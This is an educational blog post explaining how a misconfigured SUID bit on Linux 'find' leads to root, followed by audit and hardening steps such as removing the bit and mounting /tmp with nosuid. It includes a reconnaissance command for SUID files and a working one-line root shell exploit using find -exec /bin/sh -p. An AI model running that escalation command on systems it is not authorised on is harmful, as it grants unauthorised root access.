Linux Privilege Escalation: Why One SUID Binary Gives Attackers Root (And How to Fix It)

Linux Pedia — Wed, 11 Nov 2026 12:16:11 +0000

⚠️ Disclaimer: For Educational Purposes Only

All commands and demonstrations in this article are provided strictly for educational purposes, authorized security testing, and sysadmin defense. Never attempt unauthorized privilege escalation against systems you do not own.

Getting initial access to a Linux machine is often only half the story.

When a vulnerability gives an attacker or penetration tester an initial foothold, it usually lands as a restricted, low-privilege account (like www-data, nobody, or a sandboxed application user). In this state, they cannot inspect password hashes, load kernel modules, or view sensitive directories.

To gain full control, they need to elevate their permissions to UID 0 (root). This is privilege escalation.

In this guide, adapted from our complete Linux Privilege Escalation breakdown on LinuxPedia, we explore one of the most common and dangerous vectors: misconfigured SUID binaries.

1. What is the SUID Bit?

Standard Linux file permissions define read (r), write (w), and execute (x) permissions for the file owner, the group, and everyone else. (If you need a refresher on permission octals, check out our guide on Linux File Permissions & Octal Math).

There is also a special fourth octal bit: the SUID (Set User ID) bit, represented by numeric value 4000.

When SUID is enabled on an executable file, any user who runs that binary executes it with the privileges of the file owner rather than their own user account.

You can spot an SUID binary immediately by running ls -l. Instead of standard -rwxr-xr-x permissions, the user execute position displays an s:

$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Apr 10 2024 /usr/bin/passwd

Notice the s in -rwsr-xr-x. The passwd binary is owned by root. When a standard user runs passwd to change their own password, the binary needs temporary root access to update the hash in /etc/shadow. Because passwd is strictly coded not to allow command execution, this SUID assignment is safe and legitimate.

2. The Administrator Mistake

Problems start when an administrator applies the SUID bit to standard utilities to solve quick permission friction.

For example, suppose a junior sysadmin wants developers or support staff to search through restricted system logs without handing over the root password. They might run:

$ sudo chmod u+s /usr/bin/find

The administrator intended only to let users search files across restricted directories. But they inadvertently handed every single account on the server an instant, zero-password path to root.

3. How Attackers Discover SUID Binaries

Whenever an attacker lands on a Linux shell, one of the first reconnaissance commands they run is a search for SUID files across the entire filesystem:

$ find / -perm -4000 -type f 2>/dev/null

Here is how that command works:

find / : Searches starting from the root directory.
-perm -4000 : Matches files with the SUID bit active.
-type f : Restricts results to regular executable files.
2>/dev/null : Discards permission denied errors from directories the low-privilege account cannot access.

The output returns a list of all SUID binaries on the machine:

/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find     <-- CRITICAL MISCONFIGURATION DETECTED

Seeing /usr/bin/find on this list is an immediate red flag.

4. Spawning Root with GTFOBins

In cybersecurity, GTFOBins is a curated catalog showing how standard Unix binaries can be bypassed to escape restricted shells or escalate privileges.

Many standard utilities have built-in execution flags. When the binary runs with the SUID bit as root, whatever process it spawns runs with root authority.

Because find has an -exec parameter, an attacker can spawn an unrestricted shell in one command:

$ whoami
student

$ /usr/bin/find . -exec /bin/sh -p \; -quit

# whoami
root

# id
uid=1001(student) gid=1001(student) euid=0(root) groups=1001(student)

The -p flag tells /bin/sh to preserve effective user privileges (euid=0). The user is now root. They can alter system files, create new administrative accounts, or dump credentials.

5. How Sysadmins Audit and Fix SUID Flaws

Securing your systems against SUID escalation requires three basic defensive practices:

Step 1: Run Weekly Audits

Run this audit command to inventory all SUID files:

$ sudo find / -perm -4000 -type f -exec ls -la {} + 2>/dev/null

If you see text editors (vim, nano), scripting interpreters (python, bash, perl, awk), or utilities (find, cp, tar, nmap), investigate immediately.

Step 2: Strip the SUID Bit

To remove the SUID bit from a misconfigured binary, run:

$ sudo chmod u-s /usr/bin/find

Verify that the permissions return to standard -rwxr-xr-x:

$ ls -l /usr/bin/find
-rwxr-xr-x 1 root root 320160 /usr/bin/find

Step 3: Mount Temporary Partitions with nosuid

Attackers frequently drop and compile custom SUID binaries inside world-writable directories like /tmp.

Add the nosuid option to /etc/fstab for temporary filesystems:

tmpfs   /tmp        tmpfs   defaults,noexec,nosuid,nodev   0  0
tmpfs   /var/tmp    tmpfs   defaults,noexec,nosuid,nodev   0  0
tmpfs   /dev/shm    tmpfs   defaults,noexec,nosuid,nodev   0  0

When a partition is mounted with nosuid, the Linux kernel ignores the SUID bit entirely, blocking this attack vector at the kernel level.

Source & Further Reading

🔗 Original Article & Interactive Cheatsheet:

This tutorial is part of the Linux Hardening series on LinuxPedia.

You can read the full interactive post with copyable shell snippets here:

Linux Privilege Escalation: SUID Binaries Explained (LinuxPedia)

Related Guides on LinuxPedia:

Community Question: Have you ever caught an unexpected SUID binary during an internal server audit? What tool was it? Let's discuss in the comments!

DEV Community: Linux Pedia